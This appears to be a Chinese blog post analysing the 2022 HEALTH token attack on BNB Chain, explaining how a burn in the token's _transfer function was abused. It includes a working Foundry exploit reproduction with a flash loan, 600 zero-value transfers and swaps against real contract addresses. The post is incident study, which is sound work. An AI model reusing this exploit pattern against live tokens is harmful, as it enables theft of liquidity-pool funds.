{"content":{"title":"HEALTH 事件分析","body":"# 1、HEALTH事件简介\r\nhttps://twitter.com/BlockSecTeam/status/1583073442433495040\r\n\r\n![1.png](https://img.learnblockchain.cn/attachments/2022/11/hOZa3ZJR63608bda8704d.png)\r\n# 2、攻击分析\r\n交易：https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf\r\n\r\n![2.png](https://img.learnblockchain.cn/attachments/2022/11/RC24AUf963608bfc13020.png)\r\n# 3、获利分析\r\n\r\n![3.png](https://img.learnblockchain.cn/attachments/2022/11/cR5wrrhX63608c161dcba.png)\r\n# 4、攻击过程分析&漏洞成因\r\n1、攻击合约先通过闪电贷获得资金 40000000000000000000 WBNB，然后通过PancakeRouter 交易所兑换 30565652268756555675523626 HEALTH ，此时的兑换比例 HEALTH / WBNB = 764,141.306718  \r\n\r\n![4.png](https://img.learnblockchain.cn/attachments/2022/11/vSHQeAmz63608c5f2470a.png)\r\n2、直接查看攻击合约退场获利时的兑换比例，攻击合约兑换 30565652268756555675523626 HEALTH ，按照正常逻辑应该兑换出约40000000000000000000 WBNB ，但是实际上却兑换出 56641927146106351887 WBNB ，获利约为16641927146106351887；\r\n\r\n![5.png](https://img.learnblockchain.cn/attachments/2022/11/Hw2wZdLQ63608c83d3416.png)\r\n3、查看攻击过程，发现反复调用 HEALTH. transfer ，最重要的是销毁了流动池大量的 Health 代币；\r\n\r\n![6.png](https://img.learnblockchain.cn/attachments/2022/11/qlP8GxwD63608ca14b92a.png)\r\n4、查看代码发现合约在调用 _transfer 时，如果满足条件 block.timestamp >= pairStartTime.add(jgTime) && pairStartTime != 0 将销毁流动池中的Health代币，这将会导致Health 兑 WBNB的价格升高。\r\nhttps://bscscan.com/token/0x32b166e082993af6598a89397e82e123ca44e74e\r\n\r\n![7.png](https://img.learnblockchain.cn/attachments/2022/11/8ObKCSFX63608cc303d58.png)\r\n# 5、进一步分析\r\n根据调用函数和Cake-LP 代码可知这是一个uniswapV2的仿盘，代码中显式手续费为0.025，可根据以下代码分析出每次可兑换的代币数量：\r\n\r\n```\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity =0.6.6;\r\n\r\nimport \"https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/SafeMath.sol\";\r\n\r\ncontract test {\r\n\r\n    using SafeMath for uint;\r\n\r\n    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) {\r\n        require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');\r\n        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');\r\n        uint amountInWithFee = amountIn.mul(975);\r\n        uint numerator = amountInWithFee.mul(reserveOut);\r\n        uint denominator = reserveIn.mul(1000).add(amountInWithFee);\r\n        amountOut = numerator / denominator;\r\n    }\r\n}\r\n```\r\n\r\n如攻击前\r\namountIn = 40000000000000000000 ，\r\nreserveIn = 38502835300011026965 ，\r\nreserveOut = 62563539073327292627431307 ，\r\n则amountOut = 31482435634963373485175702\r\n价格操作后：\r\namountIn = 30565652268756555675523626，\r\nreserveIn = 11279403258019691775577944，\r\nreserveOut = 78469544877252212536，\r\n则amountOut = 56924512179034773317\r\n\r\n# 6、漏洞复现\r\n参考代码：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/HEALTH_exp.sol\r\n\r\n```\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";\r\nimport \"./interface.sol\";\r\n\r\n// @Analysis\r\n// https://twitter.com/BlockSecTeam/status/1583073442433495040\r\n// TX\r\n// https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf\r\n\r\ncontract ContractTest is DSTest{\r\n    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);\r\n    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\r\n    Uni_Pair_V2 Pair = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);\r\n    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\r\n    address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\r\n\r\n    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\r\n\r\n    function setUp() public {\r\n        cheats.createSelectFork(\"bsc\", 22337425);\r\n    }\r\n\r\n    function testExploit() public{\r\n        WBNB.approve(address(Router), type(uint).max);                       //WBNB、Health都是ERC20代币，攻击合约先授权，额度为最大值type(uint).max\r\n        HEALTH.approve(address(Router), type(uint).max);\r\n        DVM(dodo).flashLoan(200 * 1e18, 0, address(this), new bytes(1));     //调用 DPPAdvanced 获取闪电贷，因为第 3 个参数不为0，因此将会调用攻击合约的回调函数DPPFlashLoanCall，还款也将在回调函数完成\r\n                                                                             //闪电贷将会通过公式  require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, \"FLASH_LOAN_FAILED\");  或\r\n                                                                             //require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, \"FLASH_LOAN_FAILED\"); 判断借款人是否归还贷款和利息\r\n                                                                             //否则将回滚交易\r\n\r\n        emit log_named_decimal_uint(\r\n            \"[End] Attacker WBNB balance after exploit\",\r\n            WBNB.balanceOf(address(this)),\r\n            18\r\n        );\r\n    }\r\n\r\n    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{      //攻击合约的回调函数，实现攻击逻辑，最后一步必须归还贷款，否则交易回滚\r\n\r\n        WBNBToHEALTH();\r\n        for(uint i = 0; i < 600; i++){\r\n            HEALTH.transfer(address(this), 0);\r\n        }\r\n        HEALTHToWBNB();\r\n        WBNB.transfer(dodo, 200 * 1e18);\r\n    }\r\n\r\n    function WBNBToHEALTH() internal {            //通过PancakeRouter查找交易路径[WBNB，HEALTH]，并实现交易\r\n        address[] memory path = new address[](2);\r\n        path[0] = address(WBNB);\r\n        path[1] = address(HEALTH);\r\n        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\r\n            WBNB.balanceOf(address(this)),\r\n            0,\r\n            path,\r\n            address(this),\r\n            block.timestamp\r\n        );\r\n    }\r\n\r\n    function HEALTHToWBNB() internal {         //通过PancakeRouter查找交易路径[WBNB，HEALTH]，并实现交易\r\n        address[] memory path = new address[](2);\r\n        path[0] = address(HEALTH);\r\n        path[1] = address(WBNB);\r\n        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\r\n            HEALTH.balanceOf(address(this)),\r\n            0,\r\n            path,\r\n            address(this),\r\n            block.timestamp\r\n        );\r\n    }\r\n}\r\n```"},"author":{"user":"https://learnblockchain.cn/people/10579","address":null},"history":null,"timestamp":1667272173,"version":1}